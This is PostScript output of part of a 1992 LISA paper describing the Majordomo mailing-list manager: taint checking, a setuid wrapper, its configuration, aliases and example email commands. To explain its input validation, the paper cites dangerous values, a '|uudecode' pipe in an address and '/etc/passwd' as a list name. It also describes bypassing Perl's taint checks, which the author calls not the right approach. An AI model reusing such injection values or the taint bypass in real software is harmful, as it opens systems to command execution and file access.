+2930 X(setuid)s +3135 X(script,)s +3346 X(it)s +2016 X +1929 Y +2112 X(takes)s +2277 X(special)s +2491 X(precautions)s +2826 X(to)s +2904 X(prevent)s +3130 X(you)s +3255 X(from)s +2016 X +2002 Y +2112 X(falling)s +2311 X(into)s +2439 X(any)s +2559 X(obvious)s +2793 X(traps)s +2923 X(.)s +2964 X(\(In)s +3065 X(some)s +3230 X(ways,)s +2016 X +2075 Y +2112 X(a)s +2205 X(perl)s +2372 X(script)s +2584 X(is)s +2692 X(more)s +2892 X(secure)s +3125 X(than)s +3302 X(the)s +2016 X +2148 Y +2112 X(corresponding)s +2543 X(C)s +2639 X(program)s +2864 X(.\))s +2955 X(Any)s +3121 X(command)s +2016 X +2221 Y +2112 X(line)s +2241 X(argument,)s +2538 X(environment)s +2903 X(variable,)s +3164 X(or)s +3247 X(input)s +2016 X +2294 Y +2112 X(is)s +2184 X(marked)s +2411 X(as)s +2494 X("tainted",)s +2775 X(and)s +2898 X(may)s +3041 X(not)s +3154 X(be)s +3245 X(used,)s +2016 X +2367 Y +2112 X(directly)s +2355 X(or)s +2448 X(indirectly,)s +2760 X(in)s +2850 X(any)s +2983 X(command)s +3283 X(that)s +2016 X +2440 Y +2112 X(invokes)s +2352 X(a)s +2415 X(subshell,)s +2684 X(or)s +2772 X(in)s +2857 X(any)s +2986 X(command)s +3283 X(that)s +2016 X +2513 Y +2112 X(modi\256es)s +2380 X(\256les,)s +2547 X(directories)s +2868 X(or)s +2960 X(processes)s +3216 X(.)s +3270 X(Any)s +2016 X +2586 Y +2112 X(variable)s +2358 X(that)s +2489 X(is)s +2565 X(set)s +2671 X(within)s +2873 X(an)s +2967 X(expression)s +3283 X(that)s +2016 X +2659 Y +2112 X(has)s +2227 X(previously)s +2534 X(referenced)s +2842 X(a)s +2898 X(tainted)s +3106 X(value)s +3276 X(also)s +2016 X +2732 Y +2112 X(becomes)s +2369 X(tainted)s +2575 X(\(even)s +2746 X(if)s +2810 X(it)s +2871 X(is)s +2940 X(logically)s +3199 X(impos-)s +2016 X +2805 Y +2112 X(sible)s +2279 X(for)s +2396 X(the)s +2518 X(tainted)s +2741 X(value)s +2926 X(to)s +3018 X(in\257uence)s +3302 X(the)s +2016 X +2878 Y +2112 X(variable\))s +2350 X(.)s +2016 X +2972 Y(While)s +2211 X(this)s +2339 X(is)s +2415 X(certainly)s +2681 X(a)s +2742 X(valuable)s +3000 X(feature)s +3218 X(of)s +3305 X(perl,)s +3458 X(I)s +2016 X +3045 Y(wasn't)s +2218 X(able)s +2353 X(to)s +2428 X(get)s +2533 X(Majordomo)s +2870 X(to)s +2945 X(function)s +3190 X(because)s +3425 X(of)s +2016 X +3118 Y(it)s +2054 X(.)s +2129 X(I)s +2188 X(spent)s +2366 X(many)s +2551 X(hours)s +2735 X(trying)s +2931 X(to)s +3020 X(make)s +3202 X("taintperl")s +2016 X +3191 Y(happy)s +2225 X(before)s +2442 X(I)s +2511 X(gave)s +2683 X(up)s +2795 X(and)s +2937 X(wrote)s +3135 X(a)s +3211 X(simple)s +3436 X(C)s +2016 X +3264 Y("wrapper")s +2310 X(program)s +2557 X(that)s +2680 X(sets)s +2803 X(the)s +2907 X(real)s +3030 X(UID)s +3170 X(and)s +3288 X(GID)s +3428 X(to)s +2016 X +3337 Y(the)s +2142 X(effective)s +2421 X(UID)s +2582 X(and)s +2721 X(GID)s +2882 X(before)s +3095 X(executing)s +3398 X(the)s +2016 X +3410 Y(Majordomo)s +2386 X(perl)s +2546 X(script,)s +2768 X(thus)s +2935 X(not)s +3076 X(activating)s +3398 X(the)s +2016 X +3483 Y("taintperl")s +2325 X(feature)s +2511 X(.)s +2581 X(This)s +2731 X(is)s +2807 X(almost)s +3017 X(certainly)s +3283 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +3398 X +f.R 10 Z(the)s +2016 X +3556 Y(right)s +2171 X(thing)s +2337 X(to)s +2419 X(do;)s +2534 X(at)s +2613 X(some)s +2784 X(point,)s +2968 X(I)s +3020 X(need)s +3176 X(to)s +3258 X(go)s +3354 X(back)s +2016 X +3629 Y(and)s +2139 X(\256gure)s +2321 X(out)s +2433 X(how)s +2574 X(to)s +2653 X(make)s +2825 X(Majordomo)s +3166 X(work)s +3329 X(under)s +2016 X +3702 Y("taintperl")s +2294 X(.)s +2383 X(Particularly)s +2746 X(since)s +2934 X(I'm)s +3081 X(bypassing)s +3398 X(the)s +2016 X +3775 Y("taintperl")s +2340 X(security)s +2598 X(features,)s +2873 X(Majordomo)s +3233 X(makes)s +3450 X(a)s +2016 X +3848 Y(special)s +2229 X(effort)s +2404 X(to)s +2483 X(validate)s +2723 X(user)s +2861 X(input)s +3025 X(\(email)s +3224 X(addresses)s +2016 X +3921 Y(and)s +2138 X(mailing)s +2369 X(list)s +2477 X(names,)s +2690 X(for)s +2792 X(instance\))s +3059 X(and)s +3180 X(ensure)s +3379 X(that)s +2016 X +3994 Y(it)s +2089 X(doesn't)s +2320 X(contain)s +2552 X(anything)s +2820 X(dangerous)s +3129 X(\(a)s +3217 X(command)s +360 X +4967 Y +f.B 10 Z(138)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 139 5 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(like)s +729 X(")s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z(|uudecode)s +f.R 10 Z(")s +1171 X(in)s +1251 X(an)s +1342 X(email)s +1520 X(address)s +1748 X(or)s +1830 X(an)s +1920 X(abso-)s +600 X +521 Y(lute)s +732 X(path)s +878 X(name)s +1054 X(like)s +1186 X(")s +f.CW 10 Z(/etc/passwd)s +f.R 10 Z(")s +1711 X(as)s +1798 X(a)s +1859 X(mailing)s +600 X +594 Y(list)s +706 X(name\))s +896 X(before)s +1089 X(using)s +1256 X(that)s +1380 X(input)s +1540 X(to)s +1615 X(interact)s +1840 X(with)s +1982 X(the)s +600 X +667 Y(operating)s +875 X(system)s +1084 X(\(by)s +1195 X(opening)s +1432 X(\256les)s +1567 X(by)s +1657 X(that)s +1782 X(name,)s +1968 X(and)s +600 X +740 Y(so)s +681 X(forth\))s +832 X(.)s +600 X +834 Y +744 X(The)s +871 X(title)s +1000 X(of)s +1078 X(this)s +1198 X(paper)s +1369 X(states)s +1542 X(that)s +1666 X(I)s +1711 X(don't)s +1875 X(answer)s +600 X +907 Y(")s +627 X(-request")s +905 X(mail)s +1061 X(\(that)s +1220 X(is,)s +1318 X(mail)s +1474 X(people)s +1688 X(send)s +1845 X(to)s +1932 X(")s +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +2042 X +f.R 10 Z(-)s +600 X +980 Y(request")s +845 X(with)s +989 X(requests)s +1233 X(concerning)s +1555 X +f.I 10 Z(list)s +f.R 10 Z(\))s +1660 X(.)s +1725 X(While)s +1915 X(that's)s +600 X +1053 Y(true,)s +748 X +f.I 10 Z(something)s +1049 X +f.R 10 Z(has)s +1164 X(to)s +1242 X(answer)s +1457 X(")s +1484 X(-request")s +1752 X(mail)s +1872 X(.)s +1937 X(Mail)s +600 X +1126 Y(sent)s +743 X(to)s +830 X(")s +f.I 10 Z(list)s +940 X +f.R 10 Z(-request")s +1217 X(can't)s +1386 X(simply)s +1604 X(be)s +1703 X(forwarded)s +2012 X(to)s +600 X +1199 Y(Majordomo)s +945 X(for)s +1052 X(processing,)s +1384 X(since)s +1552 X(it)s +1620 X(almost)s +1829 X(certainly)s +600 X +1272 Y(doesn't)s +836 X(contain)s +1073 X(commands)s +1402 X(that)s +1543 X(Majordomo)s +1898 X(would)s +600 X +1345 Y(understand)s +892 X(.)s +993 X(A)s +1102 X(simple)s +1342 X(little)s +1528 X(perl)s +1693 X(script)s +1903 X(called)s +600 X +1418 Y("request)s +820 X(-recording")s +1160 X(\(abbreviated)s +1531 X(as)s +1624 X("request)s +1844 X(-rec")s +2012 X(in)s +600 X +1491 Y(Figure)s +800 X(4\))s +881 X(answers)s +1122 X(the)s +1230 X(")s +1257 X(-request")s +1525 X(mail)s +1671 X(for)s +1774 X(each)s +1922 X(mail-)s +600 X +1564 Y(ing)s +719 X(list,)s +853 X(and)s +983 X(sends)s +1165 X(back)s +1325 X(a)s +1389 X(message)s +1650 X(\(customized)s +2012 X(to)s +600 X +1637 Y(the)s +725 X(list)s +850 X(in)s +944 X(question\))s +1234 X(telling)s +1448 X(the)s +1572 X(user)s +1725 X(how)s +1881 X(to)s +1975 X(use)s +600 X +1710 Y(Majordomo)s +944 X(to)s +1026 X(subscribe)s +1309 X(to)s +1392 X(the)s +1505 X(list,)s +1636 X(get)s +1749 X(information)s +600 X +1783 Y(about)s +782 X(the)s +898 X(list,)s +1032 X(or)s +1121 X(get)s +1237 X(a)s +1301 X(copy)s +1464 X(of)s +1553 X(Majordomo's)s +1949 X(help)s +600 X +1856 Y(\256le;)s +731 X(in)s +809 X(addition,)s +1071 X(instructions)s +1409 X(are)s +1517 X(provided)s +1779 X(on)s +1871 X(how)s +2012 X(to)s +600 X +1929 Y(reach)s +767 X(a)s +819 X(human)s +1022 X(being,)s +1209 X(just)s +1328 X(in)s +1402 X(case)s +1518 X(.)s +600 X +3729 Y +3120 0 l +600 X +3804 Y +648 X +f.CW 8 Z(majordomo:)s +1000 X("|/usr/local/ma)s +1480 X(jordomo/wrapper)s +1992 X(/usr/local/majo)s +2472 X(rdomo/majordomo)s +2952 X(")s +600 X +3871 Y +648 X(owner)s +808 X(-majordomo:)s +1192 X(brent)s +600 X +4005 Y +648 X(open)s +776 X(-list:)s +1000 X(:include:/usr/l)s +1480 X(ocal/majordomo/)s +1960 X(Lists/open)s +2280 X(-list)s +600 X +4072 Y +648 X(open)s +776 X(-list)s +936 X(-request:)s +1256 X("|/usr/local/ma)s +1736 X(jordomo/wrapper)s +2248 X(/usr/local/majo)s +2728 X(rdomo/request)s +3144 X(-rec)s +3304 X(open)s +3432 X(-list")s +600 X +4139 Y +648 X(open)s +776 X(-list)s +936 X(-approval:)s +1288 X(joe@foobar)s +1608 X(.com)s +600 X +4206 Y +648 X(owner)s +808 X(-open)s +968 X(-list:)s +1192 X(joe@foobar)s +1512 X(.com)s +600 X +4340 Y +648 X(closed)s +840 X(-list:)s +1064 X(:include:/usr/l)s +1544 X(ocal/majordomo/)s +2024 X(Lists/closed)s +2408 X(-list)s +600 X +4407 Y +648 X(closed)s +840 X(-list)s +1000 X(-request:)s +1320 X("|/usr/local/ma)s +1800 X(jordomo/wrapper)s +2312 X(/usr/local/majo)s +2792 X(rdomo/request)s +3208 X(-rec)s +3368 X(closed)s +3560 X(-list")s +600 X +4474 Y +648 X(closed)s +840 X(-list)s +1000 X(-approval:)s +1352 X(bob@elsewhere)s +1768 X(.edu)s +600 X +4541 Y +648 X(owner)s +808 X(-closed)s +1032 X(-list:)s +1256 X(bob@elsewhere)s +1672 X(.edu)s +600 X +4685 Y +1554 X +f.B 10 Z(Figure)s +1766 X(4)s +f.R 10 Z(:)s +1862 X(Sample)s +2085 X +f.CW 10 Z(/etc/aliases)s +2587 X +f.R 10 Z(entries)s +600 X +2056 Y +979 X +f.B 10 Z(Con\256guring)s +1345 X(Majordomo)s +600 X +2165 Y +744 X +f.R 10 Z(At)s +853 X(startup,)s +1095 X(Majordomo)s +1452 X(reads)s +1636 X(a)s +1709 X(con\256guration)s +600 X +2238 Y(\256le)s +712 X(\(as)s +816 X(speci\256ed)s +1080 X(by)s +1172 X(the)s +1280 X(")s +f.CW 10 Z(MAJORDOMO_CF)s +f.R 10 Z(")s +1839 X(environ-)s +600 X +2311 Y(ment)s +801 X(variable)s +1085 X(or)s +1208 X(on)s +1342 X(the)s +1492 X(command)s +1823 X(line,)s +2009 X(or)s +600 X +2384 Y(")s +f.CW 10 Z(/etc/majordom)s +1147 X(o)s +1187 X(.cf)s +f.R 10 Z(")s +1366 X(by)s +1464 X(default\))s +1703 X(that)s +1835 X(provides)s +600 X +2457 Y(site)s +694 X(-speci\256c)s +953 X(information,)s +1317 X(including)s +1601 X(the)s +1716 X(name)s +1894 X(of)s +1982 X(the)s +600 X +2530 Y(site,)s +737 X(who)s +877 X(mail)s +1023 X(from)s +1178 X(Majordomo)s +1518 X(should)s +1721 X(appear)s +1924 X(to)s +2001 X(be)s +600 X +2603 Y(from,)s +781 X(where)s +979 X(Majordomo's)s +1376 X(supporting)s +1695 X(programs)s +1982 X(are)s +600 X +2676 Y(located,)s +856 X(where)s +1064 X(the)s +1191 X(lists)s +1345 X(Majordomo)s +1704 X(manages)s +1982 X(are)s +600 X +2749 Y(located,)s +833 X(and)s +951 X(where)s +1136 X(Majordomo's)s +1521 X(log)s +1629 X(is)s +1697 X(located)s +1891 X(.)s +1953 X(Fig-)s +600 X +2822 Y(ure)s +712 X(3)s +772 X(shows)s +965 X(a)s +1022 X(sample)s +1239 X(Majordomo)s +1580 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +2895 Y(All)s +718 X(Majordomo)s +1032 X(-managed)s +1327 X(\256les)s +1471 X(\(the)s +1607 X(lists)s +1749 X(themselves,)s +600 X +2968 Y(and)s +724 X(the)s +834 X("info")s +1022 X(and)s +1145 X("password")s +1477 X(information)s +1819 X(for)s +1923 X(those)s +600 X +3041 Y(lists\))s +784 X(are)s +919 X(kept)s +1087 X(in)s +1192 X(a)s +1275 X(directory)s +1570 X(speci\256ed)s +1862 X(by)s +1982 X(the)s +600 X +3114 Y(")s +f.CW 10 Z($listdir)s +f.R 10 Z(")s +1031 X(variable)s +1304 X(in)s +1412 X(the)s +1550 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +3187 Y(Each)s +760 X(mailing)s +991 X(list)s +1100 X(is)s +1171 X(kept)s +1312 X(in)s +1390 X(a)s +1446 X(\256le)s +1558 X(in)s +1636 X(the)s +1744 X +f.CW 10 Z($listdir)s +600 X +3260 Y +f.R 10 Z(directory)s +865 X(that)s +990 X(is)s +1059 X(exactly)s +1277 X(the)s +1383 X(name)s +1552 X(of)s +1631 X(the)s +1736 X(mailing)s +1964 X(list)s +2047 X(.)s +600 X +3333 Y(Mailing)s +854 X(list)s +980 X(names)s +1194 X(may)s +1352 X(contain)s +1592 X(only)s +1753 X(lower)s +1948 X(case)s +600 X +3406 Y(letters,)s +810 X(numbers,)s +1084 X(")s +1111 X(-",)s +1205 X(and)s +1329 X("_")s +1416 X(.)s +1483 X(The)s +1614 X(lists)s +1750 X(Majordomo)s +600 X +3479 Y(thinks)s +789 X(it)s +853 X(manages)s +1113 X(are)s +1221 X(the)s +1329 X(\256les)s +1468 X(in)s +1547 X +f.CW 10 Z($listdir)s +1894 X +f.R 10 Z(whose)s +600 X +3552 Y(names)s +811 X(meet)s +982 X(these)s +1160 X(criteria)s +1391 X(for)s +1508 X(mailing)s +1753 X(list)s +1876 X(names)s +2047 X(.)s +600 X +3625 Y(There)s +780 X(is)s +849 X(no)s +939 X(speci\256c)s +1168 X("list)s +1302 X(of)s +1382 X(lists")s +1543 X(in)s +1620 X(a)s +1675 X(\256le)s +1786 X(anywhere;)s +2256 X +448 Y(thus,)s +2415 X(creating)s +2662 X(a)s +2723 X(new)s +2865 X(list)s +2979 X(for)s +3086 X(Majordomo)s +3430 X(to)s +3512 X(manage)s +2256 X +521 Y(merely)s +2468 X(involves)s +2720 X(creating)s +2962 X(a)s +3019 X(new)s +3157 X(\256le)s +3270 X(with)s +3416 X(appropriate)s +2256 X +594 Y(permissions)s +2607 X(in)s +2691 X +f.CW 10 Z($listdir)s +3042 X +f.R 10 Z(and)s +3169 X(creating)s +3416 X(appropriate)s +2256 X +667 Y(entries)s +2571 X(in)s +2759 X(either)s +3048 X +f.CW 10 Z(/etc/aliases)s +3665 X +f.R 10 Z(or)s +2256 X +740 Y +f.CW 10 Z(/usr/lib/alias)s +2816 X(es)s +2918 X +f.R 10 Z(to)s +2992 X(use)s +3103 X(that)s +3226 X(\256le)s +3312 X(.)s +2256 X +834 Y +2400 X(Several)s +2633 X(auxiliary)s +2903 X(\256les)s +3048 X(may)s +3196 X(be)s +3292 X(associated)s +3601 X(with)s +2256 X +907 Y(each)s +2415 X(list)s +2534 X(in)s +2622 X +f.CW 10 Z($listdir)s +2942 X +f.R 10 Z(.)s +3017 X(The)s +3157 X(password)s +3444 X(for)s +3557 X +f.I 10 Z(list)s +3675 X +f.R 10 Z(is)s +2256 X +980 Y(contained)s +2541 X(in)s +2618 X(the)s +2725 X(\256le)s +2837 X(")s +f.I 10 Z(list)s +2947 X +f.R 10 Z(.)s +f.CW 10 Z(passwd)s +f.R 10 Z(")s +3231 X(.)s +3296 X(The)s +3426 X(descriptive)s +2256 X +1053 Y(info)s +2389 X(for)s +2492 X +f.I 10 Z(list)s +2601 X +f.R 10 Z(\(which)s +2812 X(will)s +2943 X(be)s +3031 X(returned)s +3278 X(in)s +3355 X(response)s +3613 X(to)s +3690 X(a)s +2256 X +1126 Y("info)s +2446 X +f.I 10 Z(list)s +f.R 10 Z(")s +2612 X(or)s +2723 X("subscribe)s +3058 X +f.I 10 Z(list)s +f.R 10 Z(")s +3224 X(command\))s +3566 X(is)s +3668 X(in)s +2256 X +1199 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(info)s +f.R 10 Z(")s +2570 X(.)s +2680 X(The)s +2855 X(existence)s +3176 X(of)s +3302 X(a)s +3403 X(\256le)s +3559 X(called)s +2256 X +1272 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(closed)s +f.R 10 Z(")s +2685 X(indicates)s +2959 X(that)s +3095 X +f.I 10 Z(list)s +3213 X +f.R 10 Z(is)s +3293 X(a)s +3359 X("closed")s +3620 X(list,)s +2256 X +1345 Y(and)s +2409 X(that)s +2567 X(all)s +2692 X("subscribe)s +3028 X +f.I 10 Z(list)s +f.R 10 Z(")s +3195 X(requests)s +3471 X(must)s +3657 X(be)s +2256 X +1418 Y(approved)s +2529 X(by)s +2622 X(the)s +2731 X(list)s +2841 X(owner)s +3007 X(.)s +3073 X(Note)s +3230 X(that)s +3358 X(the)s +3467 X(names)s +3665 X(of)s +2256 X +1491 Y(these)s +2428 X(auxiliary)s +2699 X(\256les)s +2844 X(are)s +2959 X(invalid)s +3178 X(mailing)s +3416 X(list)s +3532 X(names,)s +2256 X +1564 Y(because)s +2502 X(they)s +2651 X(contain)s +2883 X(a)s +2948 X(")s +2975 X(.";)s +3073 X(that's)s +3257 X(how)s +3406 X(Majordomo)s +2256 X +1637 Y(differentiates)s +2636 X(the)s +2744 X(mailing)s +2975 X(list)s +3084 X(\256les)s +3221 X(from)s +3375 X(the)s +3482 X(auxiliary)s +2256 X +1710 Y(\256les)s +2368 X(.)s +2256 X +1804 Y +2400 X(Majordomo)s +2821 X(is)s +2973 X(closely)s +3270 X(tied)s +3478 X(to)s +3638 X(the)s +2256 X +1877 Y +f.CW 10 Z(/etc/aliases)s +2765 X +f.R 10 Z(or)s +2849 X +f.CW 10 Z(/usr/lib/aliase)s +3449 X(s)s +3518 X +f.R 10 Z(\256le)s +3604 X(.)s +3672 X(A)s +2256 X +1950 Y(number)s +2494 X(of)s +2584 X(aliases)s +2799 X(are)s +2917 X(required)s +3175 X(for)s +3288 X(the)s +3406 X(Majordomo)s +2256 X +2023 Y(server)s +2443 X(itself,)s +2619 X(as)s +2699 X(well)s +2839 X(as)s +2918 X(for)s +3018 X(each)s +3164 X(of)s +3242 X(the)s +3347 X(lists)s +3479 X(managed)s +2256 X +2096 Y(by)s +2354 X(Majordomo)s +2668 X(.)s +2739 X(Figure)s +2945 X(4)s +3010 X(shows)s +3208 X(sample)s +3431 X(entries)s +3643 X(for)s +2256 X +2169 Y(the)s +2362 X +f.CW 10 Z(/etc/aliases)s +2866 X +f.R 10 Z(\256le)s +2976 X(on)s +3065 X(a)s +3118 X(machine)s +3368 X(using)s +3535 X(Major-)s +2256 X +2242 Y(domo)s +2434 X(to)s +2513 X(run)s +2628 X(two)s +2755 X(lists)s +2891 X(\("open)s +3069 X(-list")s +3228 X(and)s +3351 X("closed)s +3549 X(-list"\))s +3703 X(.)s +2256 X +2315 Y(The)s +2386 X(")s +2413 X(-approval")s +2721 X(alias)s +2871 X(is)s +2941 X(where)s +3129 X(Majordomo)s +3468 X(will)s +3598 X(send)s +2256 X +2388 Y(requests)s +2509 X(for)s +2620 X(approval)s +2887 X(for)s +2999 X(actions)s +3224 X(concerning)s +3555 X(a)s +3620 X(list)s +3703 X(.)s +2256 X +2461 Y(The)s +2384 X("owner)s +2577 X(-")s +2650 X(alias)s +2798 X(is)s +2867 X(not)s +2976 X(used)s +3122 X(by)s +3212 X(Majordomo,)s +3567 X(but)s +3675 X(is)s +2256 X +2534 Y(used)s +2408 X(by)s +2504 X(Sendmail)s +2787 X(to)s +2869 X(notify)s +3058 X(the)s +3171 X(owner)s +3368 X(of)s +3454 X(a)s +3515 X(mailing)s +2256 X +2607 Y(list)s +2364 X(of)s +2443 X(problems)s +2715 X(with)s +2858 X(that)s +2983 X(mailing)s +3212 X(list)s +3319 X(\(bounced)s +3590 X(mes-)s +2256 X +2680 Y(sages,)s +2443 X(and)s +2565 X(so)s +2650 X(forth;)s +2824 X(see)s +2936 X(the)s +3044 X(Sendmail)s +3323 X(documentation)s +2256 X +2753 Y(for)s +2397 X(more)s +2598 X(information\))s +2935 X(.)s +3038 X(The)s +3206 X("owner)s +3399 X(-")s +3512 X(and)s +3671 X(")s +3698 X(-)s +2256 X +2826 Y(approval")s +2559 X(aliases)s +2782 X(could)s +2973 X(point)s +3153 X(to)s +3249 X(different)s +3523 X(people;)s +2256 X +2899 Y(each)s +2401 X(could)s +2571 X(also)s +2701 X(expand)s +2915 X(to)s +2989 X(multiple)s +3235 X(people)s +3413 X(.)s +2256 X +3026 Y +2725 X +f.B 10 Z(Using)s +2910 X(Majordomo)s +2256 X +3135 Y +2400 X +f.R 10 Z(To)s +2501 X(use)s +2617 X(Majordomo,)s +2975 X(a)s +3032 X(user)s +3171 X(sends)s +3347 X(commands)s +3664 X(as)s +2256 X +3208 Y(an)s +2361 X(email)s +2553 X(message)s +2822 X(to)s +2916 X(the)s +3040 X(address)s +3282 X(the)s +3406 X(Majordomo)s +2256 X +3281 Y(server)s +2460 X(is)s +2546 X(con\256gured)s +2871 X(to)s +2964 X(recognize)s +3265 X(\(for)s +3406 X(the)s +3530 X(sample)s +2256 X +3354 Y(con\256guration)s +2696 X(in)s +2833 X(Figure)s +3091 X(3,)s +3225 X(the)s +3391 X(address)s +3675 X(is)s +2256 X +3427 Y("Majordomo@Gre)s +2758 X(atCircle)s +2971 X(.COM"\))s +3188 X(.)s +3264 X(For)s +3393 X(instance,)s +3668 X(to)s +2256 X +3500 Y(\256nd)s +2479 X(out)s +2683 X(what)s +2932 X(lists)s +3160 X(are)s +3361 X(served)s +3654 X(by)s +2256 X +3573 Y(Majordomo@Grea)s +2761 X(tCircle)s +2944 X(.COM,)s +3219 X(a)s +3340 X(user)s +3542 X(named)s +2256 X +3646 Y("Jane@Somewher)s +2748 X(e)s +2778 X(.ORG")s +2997 X(might)s +3188 X(send)s +3345 X(the)s +3461 X(following)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(139)s +5280 Y +pagebot + +%%Page: 140 6 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(message:)s +360 X +537 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +597 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +693 Y +408 X(lists)s +360 X +795 Y +f.R 10 Z(The)s +492 X("Subject:")s +794 X(line)s +923 X(of)s +1006 X(a)s +1064 X(message,)s +1336 X(if)s +1405 X(any,)s +1547 X(is)s +1621 X(ignored)s +360 X +868 Y(by)s +452 X(Majordomo,)s +809 X(so)s +894 X(there's)s +1102 X(no)s +1194 X(harm)s +1357 X(in)s +1435 X(leaving)s +1658 X(it)s +1722 X(out)s +1807 X(.)s +360 X +941 Y(Jane)s +509 X(would)s +705 X(receive)s +929 X(a)s +990 X(message)s +1248 X(like)s +1380 X(this)s +1508 X(in)s +1591 X(response)s +360 X +1014 Y(to)s +434 X(her)s +541 X(query:)s +360 X +1103 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +1163 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +1223 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +1319 Y +408 X(>>>>)s +568 X(lists)s +360 X +1379 Y +408 X(Majordomo@Great)s +888 X(Circle)s +1080 X(.COM)s +1240 X(serves)s +1464 X(the)s +360 X +1439 Y +408 X(following)s +728 X(lists:)s +360 X +1535 Y +536 X(majordomo)s +824 X(-announce)s +360 X +1595 Y +536 X(majordomo)s +824 X(-users)s +360 X +1691 Y +408 X(Use)s +536 X(the)s +664 X('info)s +856 X(')s +1112 X(command)s +1368 X(to)s +1464 X(get)s +360 X +1751 Y +408 X(more)s +568 X(information)s +952 X(about)s +1144 X(a)s +1208 X(specific)s +1496 X(list)s +1624 X(.)s +360 X +1853 Y +f.R 10 Z(Upon)s +546 X(receiving)s +834 X(this,)s +987 X(Jane)s +1145 X(might)s +1340 X(wish)s +1505 X(to)s +1596 X(\256nd)s +1739 X(out)s +360 X +1926 Y(more)s +527 X(about)s +705 X(each)s +857 X(of)s +941 X(these)s +1108 X(lists)s +1217 X(.)s +1285 X(She)s +1414 X(could)s +1591 X(send)s +1742 X(the)s +360 X +1999 Y(following)s +641 X(request:)s +360 X +2088 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +2148 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +2244 Y +408 X(info)s +568 X(majordomo)s +856 X(-announce)s +360 X +2304 Y +408 X(info)s +568 X(majordomo)s +856 X(-users)s +360 X +2406 Y +f.R 10 Z(In)s +437 X(return,)s +635 X(Majordomo)s +971 X(would)s +1159 X(respond)s +1391 X(with:)s +360 X +2495 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +2555 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +2615 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +2711 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-users)s +360 X +2771 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(discussions)s +1336 X(\(including)s +360 X +2831 Y +408 X(bug)s +536 X(reports,)s +824 X(enhancement)s +1208 X(reports,)s +360 X +2891 Y +408 X(and)s +536 X(general)s +792 X(usage)s +984 X(tips\))s +1176 X(concerning)s +360 X +2951 Y +408 X(the)s +536 X(Majordomo)s +856 X(mailing)s +1112 X(list)s +1272 X(manager)s +1496 X(.)s +360 X +3011 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3107 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-announce)s +360 X +3167 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(announcements)s +1400 X(of)s +1496 X(new)s +360 X +3227 Y +408 X(releases)s +696 X(of)s +792 X(the)s +920 X(Majordomo)s +1240 X(mailing)s +360 X +3287 Y +408 X(list)s +568 X(manager)s +792 X(.)s +360 X +3347 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3449 Y +f.R 10 Z(If)s +433 X(Jane)s +581 X(wishes)s +792 X(to)s +873 X(subscribe)s +1154 X(to)s +1235 X(one)s +1360 X(of)s +1445 X(the)s +1557 X(lists)s +1696 X(\(say,)s +360 X +3522 Y(the)s +477 X(majordomo)s +784 X(-users)s +977 X(list\),)s +1133 X(she)s +1256 X(would)s +1456 X(send)s +1612 X(the)s +1728 X(fol-)s +360 X +3595 Y(lowing)s +567 X(request:)s +360 X +3684 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +3744 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +3840 Y +408 X(subscribe)s 